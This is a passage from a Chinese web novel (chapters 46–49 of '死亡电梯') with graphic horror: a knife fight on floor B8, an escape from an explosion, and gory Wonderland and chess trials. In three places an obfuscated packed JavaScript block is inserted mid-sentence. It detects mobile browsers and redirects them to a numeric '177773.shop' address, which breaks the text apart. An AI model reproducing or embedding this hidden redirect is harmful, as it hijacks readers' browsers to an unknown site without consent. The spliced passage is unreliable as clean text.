面具男人后退半步,手术刀在指间转了个利落的刀花。他的声音带着虚伪的惋惜:“正是感人的重逢啊,可惜……” 他忽然抬脚,狠狠踩在冬逢初被铁链束缚的脚踝上。 “咔。” 骨头错位的声响在寂静中格外清晰,冬逢初的呼吸一滞,冷汗瞬间浸透额发,但他死死咬出牙,没发出一点声音。 初与序的短刀瞬间刺向男人咽喉,却在最后一寸硬生生停住。 “啊呀,这就急了?”男人歪头,笑道,“你再动一下,我就把这针管里的东西推进他颈动脉。” 他的左手不知何时多了一支注射器,针尖抵在冬逢初苍白的皮肤上,里面晃荡着某种荧光绿的液体。 初与序的短刀停在原地,没有向前,也没有退。 “你想干什么?”她问。 “我们队长对你们这对‘双生武器’很感兴趣。”男人用闲聊般的语气说道,“听说只要其中一把武器的主人濒死,另一把武器就会自动共鸣?” 他踢了踢地上冬逢初的长剑,原本暗淡的剑身此刻正泛着微弱的蓝光,与初与序手中短刀的震颤频率完全一致。 初与序明白过来,他故意折磨冬逢初,让冬逢初陷入濒死状态,再通过武器共鸣吸引自己过来。 “所以我才特意选了B8层。”他俯身,针尖在冬逢初脖颈上划出血线,“B8层和B5层相通,负数楼层最适合用来做实验。比如,看看如果主人死了,武器会不会直接认新主?” 初与序的刀尖微微下沉。 冬逢初突然剧烈挣扎起来,铁链哗啦作响。他染血的手指抓住初与序衣摆,用尽力气摇头。 不要妥协。 “真是情深义重。”男人假惺惺地微笑,针管依旧抵在冬逢初的咽喉,“那不如这样。你把刀放下,我让你选:是要他的命,还是他的武器?” 荧光绿的毒液在针管里摇晃,倒映在初与序左眼漆黑的瞳孔中。 三人僵持片刻,初与序的目光缓缓落到冬逢初脸上,两人对视了几秒。最终,短刀缓缓脱手,刀尖触地,金属的轻响在死寂中格外清晰。 “明智的选择。”面具男人轻笑,手术刀在手中灵巧地翻转,折射出森冷的光。他微微俯身,要拾起那把刀。 突然!初与序的左手猛地一拽,短刀竟凭空飞回她掌心!刀光如电,直刺男人咽喉! 与此同时,冬逢初猛地抓住地上的长剑,剑刃狠狠斩向脚踝的铁链!铁链在双生武器的共振下发出刺耳的崩裂声,应声而断! 男人反应极快,手术刀横挡,硬生生架住初与序的短刀,另一只手却毫不犹豫地将针管刺向她的脖颈! 冬逢初的长剑劈来,逼得男人不得不撒手后退。但他冷笑一声,身形如鬼魅般闪避,手术刀在空中划出数道银线,每一刀都精准地割向初与序的盲区。 她的右眼视野几乎全黑,只能凭借本能闪避,颈侧动脉差点被划到。 “一个半瞎的,一个快死的,何必挣扎?”男人讥讽道,声音里带着胜券在握的从容。他退后几步,站在阴影交界处,像是戏耍猎物的猛兽。 初与序的呼吸微乱,短刀紧握。冬逢初站在她身侧,长剑斜指地面,血顺着他的手腕滴落。两人并肩站立,面对着步步紧逼的敌人。 接着,初与序突然打开面板,扯下一条绷带,毫不犹豫地蒙住了自己的双眼,借着布料遮挡点了点右耳的耳骨夹。 布条系紧的刹那,世界彻底陷入黑暗。 “怎么?放弃抵抗了?”男人的声音从前方传来,带着讥讽的笑意。 她没有回答,只是微微侧头,短刀在掌心转了个弧度,刀尖斜指地面。 既然看不见,那就不必依赖视觉。 空气的流动、血腥味的浓度、敌人布料的摩擦声,所有的细微信息在黑暗中无限放大。 冬逢初单膝跪地,一手扶住错位的脚踝,另一手握住长剑,猛地一掰。 “咔!”一声,骨骼归位的剧痛让他视线一黑,但让他越发清醒。长剑嗡鸣,剑身上的花纹与初与序的短刀共振,仿佛某种无声的默契。 男人冷眼看着他们,手术刀在指间轻转。 “垂死挣扎。”他的嗤笑声从右侧传来,手术刀划破空气的尖啸格外刺耳。 (右三步,斜上30度,刀长17寸) 冬逢初的心念通过耳骨夹传来,精准得如同数据录入。初与序侧身避让,短刀精准格挡,“铮”的一声,手术刀擦着她的下颌划过,削断几缕碎发。 “什么?!”男人显然没料到这样的配合。 他突然改变策略,鞋底在地面摩擦出声,制造虚假方位。但冬逢初的警告立刻传来: (假动作,实际在左) 初与序假装向右,却在最后一瞬旋身,短刀在左手换了个反握姿势,自下而上划出一道银弧。 刀刃割开男人腰侧的布料,带出一线血珠。 “有意思,不愧是新人第一。”男人后退两步,声音终于认真起来,“但你们能撑多久?” 下一刻,初与序听见冬逢初闷哼一声,他的伤势比想象中严重。初与序通过耳骨夹能感受到他逐渐紊乱的呼吸。 (天花板,跳) 没有犹豫,初与序纵身跃起。几乎同时,冬逢初的长剑横扫男人下盘,逼得他不得不后仰躲避。初与序的短刀从天而降,在男人面具下留下一道深刻的划痕。 “该死!”男人暴怒,手术刀突然分裂成三把,呈品字形射来。 (左滚,右高,中低) 初与序按指示躲避,但最后一刀还是擦过肩头。温热的血液顺着锁骨流下,她却笑了一下。 不出意外,冬逢初已经趁机绕到男人背后。 “结束了。”男人突然转身,袖中滑出第二把手术刀,但就在他即将得手的瞬间,初与序的短刀脱手飞出! 不是射向男人,而是钉入他身后的墙壁。与此同时,冬逢初的长剑刺入地面,两把武器同时发出刺目的光芒。 “什么?!”男人惊愕地发现,双生武器之间竟形成了无形的力场,将他牢牢禁锢在原地。 初与序趁机扯着冬逢初撞进最近的房间,这是一间废弃的监控室,满墙的屏幕闪烁着雪花噪点。 “只能困住他三分钟。”冬逢初靠在控制台上喘息,腹部的伤口又开始渗血。 初与序扯下染血的布条,微弱的光线回来。她撩开冬逢初的衬衫下摆,发现伤口已经发黑。 “毒?” “嗯。”冬逢初示意她不用担心,“没事,不是即死的。” 监控屏幕突然闪烁,显示男人已经挣脱束缚,正在挨个房间搜索。初与序打开面板,拿出自动返回的短刀,在满屏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16045976|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雪花噪点中,突然看到某个画面闪过B8层的结构图。 初与序染血的手指猛地按在控制台上,调出历史画面。 “这里。”她的指尖点在屏幕上一条几乎不可见的虚线上,“有窗户。” “你要干什么?”冬逢初愣了一下。 “以我们现在的情况,不能用正常的办法离开B8。”初与序笑了笑:“老办法,炸了B8这层楼,但是我没有足够强的□□。” 冬逢初打开面板,摸出一枚暗金色的硬币:“我有,第一场副本的奖励。一次性爆破道具,够吗?” 初与序盯着那枚硬币,点头:“够了。” 冬逢初的拇指弹起那枚暗金色的硬币,它在空中翻转,亮起刺目的红光。 “一百秒后爆炸。”他轻声道,嘴角还挂着血,“跑不跑得掉,看命了。” 硬币脱手的瞬间,冬逢初拽起初与序的手腕就冲出去。硬币在空中划出一道刺目的金色轨迹,落地时发出清脆的“叮”声,随即开始倒计时: 【00:01:40】 身后的墙壁突然隆起,像被巨兽顶撞般爆裂开来。初与序侧身闪过飞溅的混凝土块,一块锋利的钢筋擦着她手背飞过,留下一道血痕。 “左边!”冬逢初猛地将她拽向岔路,就在他们转向的瞬间,原先的通道天花轰然塌陷,扬起的灰尘中隐约可见面具男人的身影。 通风管道突然喷出助燃剂,地面瞬间化作火海。冬逢初的长剑劈开挡路的火焰,两人踩着燃烧的地毯飞跃而过。 天花板的喷淋系统突然启动,但洒下的不是水而是腐蚀液。身后的热浪灼烧着他们的后颈,连呼吸都带着滚烫的硝烟味。两人狂奔,前方的天花板轰然砸落,钢筋穿刺而下,几乎贴着两人的脚跟砸进地面。 此刻只剩下45秒。 走廊尽头,一扇锈蚀的通风窗“哐当”一声炸开,玻璃早已碎裂,只剩下锋利的边缘在火光中闪烁寒芒。窗外是深不见底的楼层空洞,黑暗如深渊巨口,而下方B7的窗台在浓烟中若隐若现,距离至少五米。 身后忽然传来面具男人阴魂不散的冷笑:“你们能逃到哪里去?!” 初与序回头,面具男人竟然从火海中冲出,半边面具被炸碎,露出下面烧焦的皮肤。他的手术刀已经折断,取而代之的是一把漆黑的短刃,刀锋上泛着不祥的绿光。 她认出了男人,是全服第十名。 冬逢初和初与序对视了一眼。 他率先冲到窗前,毫不犹豫,单手一撑窗台,纵身跃出! 狂风呼啸,他的身影在坠落时转身,右手牢牢扣住B7层窗台的上沿。借着惯性,他整个人翻进了B7层的窗口。 还有两秒。 初与序紧随其后,在B8层的地面彻底塌陷的前一刻,她蹬地跃起! 身后,爆炸的火光吞没了她刚才站立的位置。 冬逢初弹出窗口,手臂肌肉绷出凌厉的线条,朝她伸出手:“抓住我!” 初与序的指尖触到他的刹那,冬逢初猛地收力,将她拽向自己。她精准踩在B7的窗台上,借力一蹬,整个人跳入B7窗内。 下一秒,上方的B8层彻底坍塌,火柱从空洞中冲天而起。 冬逢初一把搂住她的腰,带着她翻滚进B7层的阴影中。碎裂的玻璃和燃烧的残骸从上方砸落,但负数层的规则保护了他们,那些东西在触及B7窗台前被无形的屏障弹开。 两人摔进黑暗中,滚出几米才停下。初与序撑起身,胸口剧烈起伏,冬逢初的手臂还横在她后腰,两人的呼吸交错。 “B8层到B7层,带冬逢初安全返回。”初与序掏出对讲机,喘着气报点。 “牛逼啊初与序。”随歌那边传来急促的脚步声,随后是电梯门关闭的声音,“我这边也安全回来,一会见啊。” 47.死亡电梯 现在两人又得想办法通关B层。目前看来,B7层比B8层更暗,更静。 冬逢初靠在斑驳的墙边,单手扯开染血的衣领。布料黏在伤口上,撕离时带出细微的血沫。他眉头都没皱一下,却在解到右臂绷带时停住了动作。 袖口被血浸透,连着皮肤,要处理必须脱下整件上衣。 他手指顿了顿,抬眼看向几步外的初与序。 她正半蹲在地上,短刀横在膝头,警惕地扫着B7层昏暗的走廊。感应到他的视线,初与序侧过头,两人的目光在黑暗中短暂相撞。 冬逢初没有说话,只是微微抬了下受伤的手臂。初与序的视线在他染血的锁骨上一掠而过,随即站起身,握住短刀。 “我去附近看看。”她的声音很淡,脚步声干脆利落地远去,很快消失在转角。 冬逢初这才脱下上衣,B7层冰冷的空气贴上裸露的皮肤,上面布满大大小小的伤疤和淤青。他咬着绷带一端,单手给右臂包扎。 转角处,初与序的刀尖抵着墙面,在墙上刻下一道记号。 冬逢初包扎完毕,穿好衣服,跟上初与序。他的夜视能力极佳,在绝对的黑暗中仍能辨认出五米内的轮廓。 走廊尽头,忽然亮起两点猩红。 一只穿着破烂礼服的兔子从阴影中蹦出,它的怀表指针逆时针疯狂旋转,左眼窝里塞着一颗腐烂的苹果,右眼则爬满蛆虫,随着眨动簌簌掉落。 “迟到了!迟到了!”白兔尖叫,“茶会要开始了!客人们都等着呢!” 初与序的短刀已经出鞘三分,冬逢初的长剑指着地面,两人无声对视,彼此眼中都映出同样的震惊。 “我是不是出现幻觉了?”冬逢初张了张嘴,犹豫着问,“这里不是《十只兔子》的副本吧?” “你没出现幻觉,我也看到了。”初与序叹道,“不出意外,这层楼在模仿《爱丽丝梦游仙境》,但却是被某种恶意扭曲后的版本。” 白兔不等他们反应,转身蹦跳着带路,长耳朵在身后甩啊甩:“快来!帽匠要生气了!他生气就会砍掉别人的脑袋,就像红皇后那样!” “B7层有点不一样,我和冬逢初晚一点进电梯。”初与序对着对讲机报点,随后向前走,“跟上兔子。” 白兔蹦跳着将他们领到一扇镶嵌着人牙的拱门前,腐朽的木门在无人触碰的情况下缓缓向内打开。 “欢迎光临——!” 映入眼帘的是一张由人类脊椎骨拼接而成的长桌,表面覆盖着绷紧的人皮“桌布”,上面残留着干涸的血迹与茶垢。桌面摆放着三把椅子,椅背由肋骨弯曲而成,坐垫则是两片被压扁的、仍保持痛苦表情的人脸。 疯帽子坐在主位,他的礼帽是用一整块头皮缝制的,上面还粘连着几缕黑发。见到两人,他咧开被黑线缝合到耳根的嘴角,露出参差不齐的尖牙: “你们让我们等了整整九千九百七十二年!”他歪着头,“迟到的人要自罚三杯!” 初与序在思考为什么是九千九百七十二年,而冬逢初的目光扫过四周: 三月兔的耳朵被铁钩钉在椅背上,随着它颤抖的动作不断渗出脓血。睡鼠的肚子被剖开,里面塞满了发霉的茶叶,每当它呼吸时,茶叶就从伤口簌簌掉落。 而空椅子上摆放的布偶,穿着精致的童装,但头部却是真实的人类婴儿头颅,被防腐处理过,玻璃眼珠直勾勾地盯着来客。 “这是小爱丽丝。”疯帽子温柔地抚摸布偶的头发,“她太贪睡,我们把她的头泡在茶里醒神。” “快来做吧,我的客人们。”他拍了拍桌子上两个空位,示意两人坐到那里。 待两人落座,他推来一个头盖骨制成的茶壶,里面沸腾的液体散发着甜腻的腐臭味。 “先喝为敬!” 他给自己倒了一杯“茶”,液体接触空气,竟浮现出几张痛苦的人脸,又很快溶解。疯帽子一饮而尽,喉结滚动,脖颈的皮肤下有什么东西在蠕动。 轮到初与序时,她接过骨杯。却在下一秒,茶杯摔碎在地,暗红色液体泼洒在人皮桌布上,立刻腐蚀出嘶嘶作响的洞。 “我感到非常抱歉,先生。”她面无表情、毫无诚意地道歉,“手抖了一下。” 疯帽子的笑容僵住了,缝线处开始渗血。但还没等他发作,冬逢初突然咳嗽一声。 “这么重要的茶会,怎么能没有助兴节目?”他垂眸,从从椅背上掰下来一块臼齿。 紧接着,他将臼齿弹向烛台,精准击中支撑结构。倾斜的蜡烛点燃了桌布,火势瞬间蔓延。 “着火了!着火了!”白兔尖叫着跳上桌子,结果被疯帽子一把抓住后腿。 “我的茶会!我的完美茶会!”疯帽子的缝合线全部崩开,露出里面密密麻麻的蛆虫。 趁着混乱,两人拔腿就跑,冲向侧门。身后传来餐刀劈砍骨头的声响,以及疯帽子癫狂的歌声:“再砍一刀~再砍深一点~就像时间砍掉十八年前和九千九百七十二年前~” 推开沉重的侧门,扑面而来的是浓重的血腥味。 映入眼帘的是一个球场,铺着深红色的“草皮”,但细看才发现是无数细小的血管编织而成,踩上去时能感受到微弱的脉搏。场边竖着九道由肋骨弯曲而成的球门,每根骨头上都钉着仍在抽搐的头颅,空洞的眼眶随着来人的移动而移动。 远处,一座由骸骨堆砌的高台上,红皇后正慵懒地倚在主座上,她的王冠是弯曲的肋骨编织而成,裙摆由剥下的皮肤缝制,随着她的动作发出令人毛骨悚然的摩擦声。 “新玩家!新玩家!” 一个脖子被拉长到夸张程度的侍从蹦跳着过来,他的皮肤像融化的蜡一样不断流动重组,手里捧着一颗还在滴血的人头: “红皇后陛下说,规则很简单!” 他咧嘴一笑,抬腿踢了踢脚边的“球杆”。说是球杆,但这是一个个被砍下的活人头颅,眼睛和嘴巴都被粗糙地缝合,只在顶部留出一截颈椎作为握柄。 “用这个击球!打进球门得1分,打到裁判得3分,打到红皇后得6分,直接通关!” “凑满10分就能离开~”侍从突然压低声音,“但要是得分太低的话。”他指向场边一个沸腾的大锅,里面煮着半融化的失败者。 初与序轻笑一声,这是典型的诱导陷阱,鼓励玩家攻击裁判和红皇后。 侍从不由分说将两个“球”塞进她和冬逢初手里,那颗球突然睁开缝着的眼睛,牙齿咯咯作响。 “游戏开始!” 十几个“球”被抛向空中,落地后立刻用牙齿啃咬地面,到处乱滚。初与序没有急着挥杆,而是仔细观察。 球门会突然移动位置,那些裁判们故意站在击球路线上,而红皇后始终用扇子遮住脸。 冬逢初突然挥杆,将球打向最近的裁判。“噗!”一声,头颅直接撞进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16045977|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扑克士兵的胸膛,黑血四溅,记分牌跳动:3 “太棒了!”侍从的脖子像橡皮筋一样拉长扭曲。 初与序敏锐地发现,被打中的裁判倒下时,其他裁判的体型明显膨胀了,而红皇后的王座每得一分,就升高一寸。 当分数达到6分时,幸存的三个裁判突然融合,变成一个三头六臂的怪物,手持六把滴血缝长矛。 “继续啊!”侍从的脖子在空中打结,“还差四分!” 冬逢初点了两下耳骨夹,他的心念清晰地传到初与序耳朵里:“王座下的机关。” 初与序立刻会意:每次红皇后升高时,王座底部都会露出一个奇怪的金属装置。 两人立刻改变策略,初与序专攻球门,冬逢初制造混乱,将球打向场边沸腾的大锅,每等怪物逼近,就用球杆格挡,配合闪避。 当分数达到9分时,整个球场的空气骤然凝固。 初与序手中的颈椎骨制成的握柄深深勒进掌心,冬逢初的长剑在身侧微微震动,剑刃上还滴落着刚才击球时沾的血。三头六臂的怪物挡在他们与红皇后之间,六把长矛在地上划出刺耳的声响。 初与序侧过头,和冬逢初对视一眼,冬逢初轻轻点了点头。 “快点决定!”侍从的脖子在空中扭动,“要打门还是打……” 话音未落,冬逢初突然暴起! 他左手抓住地上滚动的头颅球,右手长剑划出一道寒光,却不是攻向目标,而是斩断了连接记分牌的猩红血管。整个球场的灯光骤然熄灭,只剩下红皇后王座下那颗巨大心脏发出的诡异红光。 在黑暗降临的瞬间,初与序已经腾空跃起,整个人冲向红皇后! “大胆!”红皇后的头颅膨胀到原来的三倍大,扇子猛地展开,却扇了个空。 初与序在半空中突然变向,短刀脱手飞出,刺向红皇后王座左侧三寸处的空气。刀尖仿佛撞上无形屏障,爆出一串刺目的火花。 冬逢初将长剑突然插入地面:“这才是真正的王座位置吧。” 剑刃没入血管草皮的刹那,整个球场的透视轨迹被打破。红皇后和王座其实一直位于场地右侧,他们看到的只是投射中空中的幻象! 裁判怪物发出震耳欲聋的咆哮,六把长矛同时掷出。 但初与序已经落在真正的王座前,她没有去碰那颗跳动的心脏,而是将球杆狠狠刺入王座扶手上镶嵌的宝石,那才是控制整个球场的核心。 “咔嚓!”一声,宝石碎裂,红皇后的身体开始融化,一截截矮下去,猩红的礼服化作血浆,顺着王座滴落。裁判怪物僵在原地,六条手臂纷纷断裂掉落。 “你们…逃不掉的…” 话音未落,整个槌球场开始剧烈震动。血管编织的地面存存断裂,骨制球门接连倒塌,那些被钉在门柱上的头颅发出凄厉的惨叫。 “走!”初与序一把抓住冬逢初的手腕,他的皮肤很冰。两人踩着不断塌陷的地面冲向出口,身后传来侍从歇斯底里的尖叫: “拦住他们!” 一根断裂的肋骨突然从侧面刺来,冬逢初想要挥剑格挡,却发现手臂已经脱力。初与序猛地将他往自己这边一拽,肋骨堪堪擦过他的脖颈。 她拽着冬逢初撞开摇摇欲坠的大门,门外是一条狭长的走廊,两侧墙壁上挂着的肖像画全部变成了红皇后狰狞的脸。 两人冲进走廊尽头唯一的暗门,眼前豁然开朗。 48.死亡电梯 眼前,是一个悬浮的巨型国际象棋棋盘。 整个空间没有地面,只有一块块黑白相间的浮空方格,延伸向无尽的黑暗。棋盘尽头,高耸的王座上坐着一个戴纯白面具的巨型棋手,他的身形瘦长到近乎畸形,手指间夹着一枚棋子,轻轻敲击在棋盘上。 “新棋子?” 棋手的声音空洞冰冷,像是从深渊底部传来。面具后的眼睛注视着他们:“选吧。” 随着他的话音落下,棋盘上浮现出数道虚影:骑士,战马嘶鸣,剑刃寒光闪烁;主教,长袍翻飞,手中经卷燃烧;士兵,盾牌染血,步伐沉重。 初与序和冬逢初站在棋盘边缘,身体并未强制变成棋子,但棋局的规则已经笼罩了他们。 “我们观棋。”初与序冷声回应。 棋手的敲击声戛然而止。 “拒绝。” 面具下的声音突然带了几分狰狞,棋盘上的石板开始翻转,露出下方深不见底的黑暗。 “要么成为棋子,要么成为棋局的养料。” 棋盘边缘的石板已经开始崩塌,而棋手的手指正缓缓指向他们,目光压迫着两人,等待选择。 “卒。”初与序只好开口,声音清晰。 冬逢初挑眉看了她一眼,没有反对,只是轻轻颔首。 棋手的身体微微倾斜,似乎对这个选择感到意外。他的声音带着几分玩味:“卒?只能前进,只能冲锋,你们确定?” “足够了。”初与序回答。 棋手沉默片刻,突然抬手悬空点向冬逢初:“不,我要他是‘王’,根据卒的规则走。” 冬逢初和初与序对视一眼,没有说话。 棋手轻笑,抬手一挥,棋盘上空浮现出血色的文字: 「1.每走一步,必须击败当前格上的守卫」 「2.走到对方底线可升变为任意棋子」 「3.被将死者,将成为我的养料」 下一秒,初与序和冬逢初脚下的方格亮起微光。他们的身体并没有变成棋子,但已被标记为棋盘上的“卒”,必须按照规则前进。 “卒,前进。”棋手苍白的手指轻叩王座扶手。 一股无形的力量推着初与序和冬逢初向前一步,走进黑格“E4”。几乎同时,对面黑格“E5”上,空气扭曲,一个身披铠甲的黑骑士缓缓具现。他的战马由人骨拼接而成,空洞的眼眶里跳动着幽蓝鬼火,手中长枪滴落着血液。 棋手的声音从高处传来:“活下来,才能走下一步。” 冬逢初握紧长剑,上面的花纹泛起幽蓝光芒,他通过耳骨夹和初与序对话:“国际象棋…我不太熟。” 初与序短刀横握,目光飞速扫过棋盘:“我也不太熟,骑士走‘日’字,攻击范围广但路径固定。” 黑骑士已经冲锋而来,骸骨战马的蹄声如闷雷震动棋盘。冬逢初侧身闪避,长剑格挡。 “铛!” 枪剑相撞,火花四溅。冬逢初被震退半步,鞋底在方格边缘险险刹住。初与序趁机突进,短刀直刺马腹,却见黑骑士突然调换枪头,枪杆横扫她的腰侧! 她勉强侧身避开,但枪尖仍在腰侧划开一道血痕。 他们不熟悉棋子的行动规则,吃了闷亏。 黑骑士再次冲锋,这次走的是标准的“日”字轨迹。初与序突然拽住冬逢初后撤三步,精准卡在骑士攻击死角的格点上。 长□□空,骑士因惯性前冲。冬逢初抓住机会,长剑如银龙出洞,自下而上挑开骑士的胸甲。 黑血喷涌,骑士踉跄着坠马。但未等他们喘息,棋盘突然翻转,新的黑子降临:“主教”。 一个戴着尖顶高帽的枯瘦人影浮现,黑袍下伸出六只干尸般的手臂,每只手掌心都睁着一双流血的眼睛。 “主教…斜线移动。”初与序快速回忆规则,“而且攻击范围更远。” 主教的诅咒比骑士更阴毒,他不近身,而是站在棋盘对角,六只手臂同时结印。地面突然渗出黑色黏液,缠向二人脚踝。 冬逢初斩断缠向自己的黑液,却见初与序那边的黑液缠向她的右腿,棋盘方格嘶嘶冒着白烟。他猛地掷出长剑,逼退主教半步,自己却被反噬的诅咒之力震得单膝跪地,喉间涌上一股腥甜。 他强行咽下血,但颤抖的手指几乎握不紧剑柄。 初与序瞥见他苍白的脸色,心中一沉。冬逢初本就是快濒死之人,刚刚在B8层一路逃命,能撑到现在已经很好了。 高座之上,棋手轻笑一声:“才三步就撑不住了?我的‘车’和‘皇后’还没出场呢。” 棋盘再次变换,黑方的“车”缓缓浮现。那是一座由人骨堆砌的移动城堡,顶端嵌着一颗仍在惨叫的头颅。 冬逢初用长剑撑起身子,苦笑一声:“看来回去要找随歌学习下棋了。” 初与序草草包扎完腿上的伤,短刀紧紧握在右手:“这次我来主攻。” “车,横贯。” 棋手冰冷的声音落下,黑方的“车”轰然启动。它沿着直线碾压而来,所过之处方格纷纷塌陷,露出下方沸腾的血池。 初与序和冬逢初被迫后退,但棋盘边缘已近在咫尺。初与序的目光锁定“车”的轨迹,突然拽住冬逢初的手臂:“斜角!” 两人同时侧跃,险避开“车”的直线冲锋。但还未站稳,棋手的手指又轻轻一抬: “主教,封锁。” 黑袍主教再次现身,六只手臂同时结印,地面骤然裂开无数黑色荆棘,封死了所有斜向移动的路径! 冬逢初的长剑突然爆发出刺目寒光,他向前踏出一步,剑锋劈开荆棘,硬生生撕开一条路。初与序没有犹豫,短刀如电,直刺主教咽喉。 但就在刀尖即将命中的瞬间,主教的身影突然虚化。他沿着斜线瞬移到另一格,避开了致命一击。 初与序反应极快,迅速调整姿势,但背后突然传来一声闷响。 她猛地回头,只见冬逢初被主教的诅咒伤到,他单膝跪地,长剑深深插入棋盘,勉强支撑着身体。他的嘴角溢出一丝鲜血,脸色惨白如纸。 棋手似乎察觉到了他们的虚弱,面具下的嘴角微微扬起:“皇后,收割。” 整个棋盘骤然一暗,空气扭曲着,一个高挑的身影缓缓出现。 黑方的“皇后”,穿着破碎的婚纱,头戴染血的王冠,手中握着一把由脊椎骨制成的长鞭。而她的脸没有五官,只有一张被缝合的嘴。 “咯咯咯……”她的笑声尖锐,刺得人耳膜生疼。 冬逢初强撑着站起身,但刚迈出一步,就猛地咳出一大口血。他的视线开始模糊,握剑的手微微发抖。 初与序一把扶住他,触手却是一片湿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16051224|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冷。他的后背早已被冷汗和鲜血浸透,体温低得吓人。 皇后没有给他们反应的机会,脊椎长鞭甩来。初与序勉强推开冬逢初,自己却被鞭子擦过肩膀,顿时血肉模糊。 冬逢初踉跄着站稳,长剑勉强格挡皇后的第二击,但力道已大不如前。 金属碰撞的巨响中,他的虎口崩裂,长剑差点脱手。皇后趁机欺身而上,骨鞭缠绕他的脖颈,将他狠狠掼倒在地! “呃——!”冬逢初闷哼一声,呼吸被彻底扼住。 初与序的短刀脱手飞出,直刺皇后后心。皇后却头也不回,反手一鞭将刀击飞。 “游戏要结束了。”棋手的声音带着愉悦,“你们输了哦。” 冬逢初的手指抠住骨鞭,指尖因为缺氧而泛紫。他的心念断断续续通过耳骨夹传来: “走,别管我…” 初与序攥紧拳头,指甲深深陷入掌心。 现在棋局陷入死地,该继续战斗,还是认输求饶? “停下!” 初与序忽然开口,声音在棋盘上清晰响起。她控制着短刀,“铮”地一声钉在棋手王座前的方格上,整个棋盘为之一震。 棋手抬起的手停在半空,骨鞭缠绕着冬逢初的脖颈,在惨白的皮肤上勒出深紫色的淤青。 “有意思。”棋手歪了歪头,面具下的声音带着玩味,“你要认输?” 初与序摇头:“我要求交易。” 她指向濒死的冬逢初:“让他退场,我一人下完这盘局。” 棋牌边缘突然裂开一道缝隙,露出下方深不见底的虚空。 “他可是你方的‘王’,让他下场?”棋手似乎没料到初与序会提出这个交易。 初与序点头。 骨鞭松开冬逢初的脖颈,改成缠住他的腰部,将他拖向边缘。 “胆子大。”棋手突然俯身,盯着初与序,“但代价是,你的棋局难度翻倍。” 冬逢初突然剧烈挣扎起来,破碎的气音混着血沫:“不…行…” 初与序看了他一眼,一脚踹在他膝窝,巧妙地把冬逢初踢向安全区,自己则向前一步挡住棋手的视线:“成交。” 棋手冷笑一声,打了个响指,新的血色规则浮现在棋盘上: 「1.每步限时10秒」 「2.禁止后退」 「3.敌方棋子获得嗜血狂暴」 冬逢初被无形的力量按在边缘方格上,伤口诡异地停止了流血,但也被彻底禁锢。他盯着初与序的背影,说不出话。 “现在,”棋手愉悦地敲击王座,“让我们继续。” 黑皇后突然分裂成两个镜像体,脊椎骨鞭暴涨到三倍长度。 “卒,前进。”棋手宣布。 初与序冲向分裂的皇后,第一个镜像体挥鞭横扫,她飞快下跪滑行,从鞭影下方穿过,顺势拔起插在地上的短刀。 “还剩5秒。”棋手倒计时。 第二个镜像体从侧面突袭,骨鞭直取太阳穴。初与序后仰避让,伸手抓住鞭梢借力腾空,双腿绞住镜像体的头颅! “咔嚓!” 颈骨断裂的声响中,计时归零。第一个镜像体趁机一鞭抽在她背上,她踉跄着单膝跪地,血珠滴落在棋盘上。 冬逢初看见初与序垂在身侧的手在微微发抖,但她的眼神冷静得可怕。 49.死亡电梯 “卒,前进。”棋手的声音带着戏谑。 初与序向前一步,踏上黑格“F5”,鲜血顺着她的指尖滴落,在黑白格上洇开暗红的痕迹。 几乎同时,对面的黑格“G5”上,空气扭曲,一个全新的“骑士”出现。但这一次,棋手没有立即宣布攻击。他缓缓抬起苍白的手指,轻轻敲了敲面具,仿佛在思考什么有趣的事情。 “且慢,我在刚刚忽然发现了一件有趣的事情。” 他的声音忽然压低,面具后面的眼睛盯着初与序面部。 “你的右眼,几乎看不见吧?” 初与序的心跳漏了一拍,她抬眼看向棋手。 棋手的手指轻轻一划,刹那间,整个棋盘的灯光顿时熄灭,只剩下微弱的血色规则字迹在方格边缘闪烁。黑暗如潮水般吞没视野,连脚下的方格都变得模糊不清。 “在黑暗里,瞎子比正常人更有优势吗?”棋手轻笑,“让我们试试。” 话音未落,黑骑士的身影已经无声无息地逼近。 初与序的右眼彻底看不清,左眼也只能勉强捕捉到骑士的残影。远处棋手用棋子敲击棋盘的声音,故意干扰她的听觉,她本能地侧身,却仍被长枪擦过肋下,房里的枪尖撕开皮肉,鲜血瞬间浸透布料。 她的短刀勉强架住第二击,但骑士的冲锋力道太强,她被震得连退数步。 棋牌边缘,冬逢初眼睁睁看着初与序在黑暗中踉跄,每一次格挡都带出新的伤口。她的呼吸越来越重,动作却依然冷静,仿佛感受不到疼痛。 “你他妈作弊!”他忍不住骂出脏话,想站起来,但棋局的规则死死禁锢着他。 “谁强,谁就能改变规则。”棋手不急不慢,声音里带着居高临下的怜悯,“这怎么能算作弊呢?” 